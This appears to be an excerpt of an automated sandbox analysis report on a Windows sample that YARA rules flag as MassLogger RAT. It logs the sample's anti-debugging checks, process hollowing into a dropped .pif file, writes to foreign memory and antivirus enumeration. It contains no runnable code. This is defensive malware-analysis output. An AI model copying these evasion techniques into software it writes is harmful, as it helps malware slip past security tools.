Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\Public\Libraries\liuuazhU.pif	Memory allocated: 1CFC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Memory allocated: 1D420000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Memory allocated: 1D270000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Memory allocated: 2A6B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Memory allocated: 2AD30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Memory allocated: 2A6E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Memory allocated: 1C320000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\liuuazhU.pif	Memory allocated: 1C7F0000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\liuuazhU.pif	Memory allocated: 1C320000 memory reserve \| memory write watch

Source: C:\Users\Public\Libraries\liuuazhU.pif

6_2_004019F0

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe

Dropped PE file which has not been started: C:\Windows \SysWOW64\svchost.pif

Jump to dropped file

Source: C:\Users\Public\Libraries\Uhzauuil.PIF

API coverage: 9.9 %

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 1_2_027D5908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

1_2_027D5908

Source: x.exe, 00000001.00000002.1855286953.00000000006DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: x.exe, 00000001.00000002.1855286953.0000000000726000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: liuuazhU.pif, 00000006.00000002.3107311092.000000001B365000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllC
Source: Uhzauuil.PIF, 0000000A.00000002.1966101985.00000000005B3000.00000004.00000020.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3115243566.0000000028D19000.00000004.00000020.00020000.00000000.sdmp, Uhzauuil.PIF, 00000010.00000002.2047682326.0000000000582000.00000004.00000020.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3108316011.000000001A54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\x.exe	API call chain: ExitProcess graph end node	graph_1-28284
Source: C:\Users\Public\Libraries\liuuazhU.pif	API call chain: ExitProcess graph end node	graph_6-45721
Source: C:\Users\Public\Libraries\liuuazhU.pif	API call chain: ExitProcess graph end node	graph_11-45410
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	API call chain: ExitProcess graph end node
Source: C:\Users\Public\Libraries\liuuazhU.pif	API call chain: ExitProcess graph end node

Source: C:\Users\Public\Libraries\liuuazhU.pif

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 1_2_027EFA38 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,

1_2_027EFA38

Source: C:\Users\user\AppData\Local\Temp\x.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Process queried: DebugPort

Source: C:\Users\Public\Libraries\liuuazhU.pif

Code function: 6_2_20185F38 LdrInitializeThunk,LdrInitializeThunk,

6_2_20185F38

Source: C:\Users\Public\Libraries\liuuazhU.pif

Code function: 6_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

6_2_0040CE09

Source: C:\Users\Public\Libraries\liuuazhU.pif

6_2_004019F0

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 1_2_027E8818 LoadLibraryW,GetProcAddress,FreeLibrary,

1_2_027E8818

Source: C:\Users\Public\Libraries\liuuazhU.pif

Code function: 6_2_0040ADB0 GetProcessHeap,HeapFree,

6_2_0040ADB0

Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_0040CE09
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_0040E61C
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00416F6A
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_004123F1 SetUnhandledExceptionFilter,	6_2_004123F1
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_0040CE09
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_0040E61C
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00416F6A
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_004123F1 SetUnhandledExceptionFilter,	11_2_004123F1
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_1_0040CE09
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_1_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_1_0040E61C
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_1_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_1_00416F6A
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_1_004123F1 SetUnhandledExceptionFilter,	11_1_004123F1
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	17_2_0040CE09
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	17_2_0040E61C
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_00416F6A
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 17_2_004123F1 SetUnhandledExceptionFilter,	17_2_004123F1

Source: C:\Users\Public\Libraries\liuuazhU.pif

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\System32\wscript.exe

File created: x.exe.0.dr

Jump to dropped file

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: C:\Users\Public\Libraries\liuuazhU.pif base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Memory allocated: C:\Users\Public\Libraries\liuuazhU.pif base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Memory allocated: C:\Users\Public\Libraries\liuuazhU.pif base: 400000 protect: page execute and read and write

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Temp\x.exe	Section unmapped: C:\Users\Public\Libraries\liuuazhU.pif base address: 400000	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section unmapped: C:\Users\Public\Libraries\liuuazhU.pif base address: 400000	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section unmapped: C:\Users\Public\Libraries\liuuazhU.pif base address: 400000

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory written: C:\Users\Public\Libraries\liuuazhU.pif base: 204008	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Memory written: C:\Users\Public\Libraries\liuuazhU.pif base: 295008	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Memory written: C:\Users\Public\Libraries\liuuazhU.pif base: 370008

Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Users\Public\Libraries\liuuazhU.pif C:\Users\Public\Libraries\liuuazhU.pif	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Process created: C:\Users\Public\Libraries\liuuazhU.pif C:\Users\Public\Libraries\liuuazhU.pif	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Process created: C:\Users\Public\Libraries\liuuazhU.pif C:\Users\Public\Libraries\liuuazhU.pif

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	1_2_027D5ACC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: GetLocaleInfoA,	1_2_027DA7C4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	1_2_027D5BD8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: GetLocaleInfoA,	1_2_027DA810
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: GetLocaleInfoA,	6_2_00417A20
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: GetLocaleInfoA,	11_2_00417A20
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: GetLocaleInfoA,	11_1_00417A20
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	16_2_02985ACC
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	16_2_02985BD7
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Code function: GetLocaleInfoA,	16_2_0298A810
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: GetLocaleInfoA,	17_2_00417A20

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\Public\Libraries\liuuazhU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\Public\Libraries\liuuazhU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\Public\Libraries\liuuazhU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\Public\Libraries\liuuazhU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\Public\Libraries\liuuazhU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 1_2_027D920C GetLocalTime,

1_2_027D920C

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 1_2_027DB78C GetVersionExA,

1_2_027DB78C

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 6.3.liuuazhU.pif.1b37a088.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2aa80f08.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c560f08.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d3a0f08.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c17772e.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d7f5570.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd36478.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd36478.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1f8a0000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2aa80f08.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1f8a0000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e426478.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d824590.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d03772e.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2a99772e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2a996826.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d7f6478.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd35570.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd35570.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2a996826.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d03772e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d7f5570.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c760000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1d7f6478.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2ab30000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c560000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d036826.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c760000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1d3a0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.liuuazhU.pif.2bd64590.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.liuuazhU.pif.1c17772e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.liuuazhU.pif.1e425570.6.unpack, type: UNPACKEDPE
